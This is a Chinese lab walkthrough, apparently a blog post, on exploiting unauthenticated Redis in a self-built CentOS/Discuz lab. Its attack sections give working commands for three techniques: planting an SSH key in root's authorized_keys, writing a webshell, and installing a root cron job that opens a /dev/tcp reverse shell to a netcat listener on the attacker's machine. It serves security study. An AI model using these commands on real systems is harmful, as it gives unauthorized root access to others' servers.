Redis漏洞利用与SSH免密反弹Shell

        本文详细介绍利用 Redis 服务漏洞写入 WebShell ,通过 SSH 公钥实现免密登录,并利用计划任务反弹 Shell 的过程。

 一、靶场搭建

        环境简介

Centos-1:192.168.159.145

Centos-2:192.168.159.137

靶场:discuz

1、Centos2搭建discuz与redis

         Discuz搭建

        首先在centos-2:192.168.159.137服务器上搭建apache服务器

yum install -y httpd httpd-devel

service httpd.service start //开启apache服务

service httpd.service status//查看apache状态

        如下图状态显示为active则表明apache服务器搭建成功。

yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装mariadb数据库及其组件

service mariadb.service start //启动mariadb服务

service mariadb.service status //查看状态

netstat -an //查看端口

        安装php,将php和mysql关联起来

yum install -y php yum -y install php-mysql

        将下载的discuz安装包放到/var/www/html下

chown apache:apache -R upload/ //赋予所属组

chmod -R 777 upload/ //赋予可读可写可执行权限

service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好

service mariadb.service restart //同上

service firewalld stop //关闭防火墙

        然后在浏览器中打开http://192.168.159.137/upload/install出现discuz靶场的安装向导,点击同意进行安装。

        这里初始如下图都是不可写,需要修改/etc/selinux/config,修改完重启虚拟机,reboot 重启完成后开启apache服务和mariadb服务,再次访问就是可写。

        修改/etc/selinux/config

vim /etc/selinux/config

 

       reboot 重启,再重启下http服务和mariadb服务:

service httpd.service restart //重启下http服务

service mariadb.service restart //重启mariadb服务

service firewalld stop //关闭防火墙

        再次访问就是可写

        点击下一步继续安装

         数据库密码设置为空,因为我们没有设置密码,管理员密码任意

        数据库搭建完成后,出现以下界面表示discuz靶场安装完成:

        redis搭建

        1、下载redis包 解压进入redis目录

        2、make编译

        3、然后编译完成进入/src目录

        将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务

        Make时发生错误1:

解决方案为:yum -y install gcc gcc-c++

        错误2:

解决方案为: make MALLOC=libc

        以上两个错误解决后仍有一些问题,查询后得知版本不兼容,因此重新下载redis其他版本

        更换redis版本为5.0.8,重新编译,成功!

        切换到src目录下,将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务。

cp redis-server /usr/local/bin

cp redis-cli /usr/local/bin

        执行redis-server,出现以下界面说明服务启动成功,重新开一个终端进行连接,执行redis-cli ,出现第二张图示例说明搭建成功。

        2、Centos1搭建redis

                 只需要安装下redis服务,重复以上操作即可。

二、利用 Redis 写入Webshell

        开启服务 redis-server

        redis-cli -h 192.168.159.137

        利用redis写入webshell

         访问成功写入

三、利用 Redis 写入 SSH 公钥进行登录

        kali 192.168.159.135 

        靶机 192.168.159.137 

        kali安装redis,使用上面的redis安装包,解压后直接编译就行,编译命令:make

        接着将 /src 目录下的 redis-server 和 redis-cli 复制到 /usr/local/bin 下即可。

        首先在攻击机的/root/.ssh目录里生成ssh公钥key:

ssh-keygen -t rsa

        选项全部默认即可

        接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合)

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt       

         将key.txt文件内容写入服务端Redis的缓冲里:

cat /root/.ssh/key.txt | redis-cli -h 192.168.159.137 -x set xxx

        

        使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized\_keys,并将数据保存在目标服务器硬盘上。

        但是执行的时候,发现报错,提示没有这样的文件或目录。原因是centos(192.168.159.137)没有启动过ssh,所以没有那个目录,使用命令: ssh localhost即可。

redis-cli -h 192.168.159.137 

config set dir /root/.ssh

config set dbfilename authorized_keys save

   

      ssh 成功实现公钥登录

四、 利用 Redis 写入计划任务反弹shell

        首先在攻击机kali上开启监听:

 nc -lvp 2333

 

        然后连接服务端的Redis,写入反弹shell的计划任务:

redis-cli -h 192.168.159.137

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.159.135/2333 0>&1\n\n"

config set dir /var/spool/cron/crontabs/

config set dbfilename root

save

  

        通过计划任务,成功反弹shell

         靶机上也看到存在计划任务

        使用 crontab -r删除计划任务

        crontab -l 查看计划任务

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值